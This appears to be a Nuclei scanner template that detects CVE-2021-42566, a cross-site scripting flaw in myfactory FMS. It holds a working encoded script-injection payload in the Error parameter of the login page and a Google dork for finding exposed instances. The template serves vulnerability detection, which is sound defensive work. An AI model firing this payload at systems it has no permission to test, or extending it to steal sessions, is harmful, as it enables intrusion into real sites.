id: CVE-2021-42566 info: name: myfactory FMS - Cross-Site Scripting author: madrobot,daffainfo severity: medium description: | myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001 - https://nvd.nist.gov/vuln/detail/CVE-2021-42566 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-42566 cwe-id: CWE-79 epss-score: 0.05832 epss-percentile: 0.92947 cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: myfactory product: fms google-query: inurl:ie50/system/ intitle:"myfactory" tags: cve,cve2021,myfactory,xss,vuln http: - method: GET path: - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F' matchers-condition: and matchers: - type: word part: body words: - ';alert(document.domain);' - 'name="txtUID"' - 'function mOnLoad()' condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4b0a00483046022100b8f5d0c518fa683f5cd144018b8d3f2dd1403f10dd6fe83c4e2f21fd907195f902210098e3ce5186e238b7cd871ac38ede08181a58e477720050a9f396e63a0c5a0ae6:922c64590222798bb761d5b6d8e72950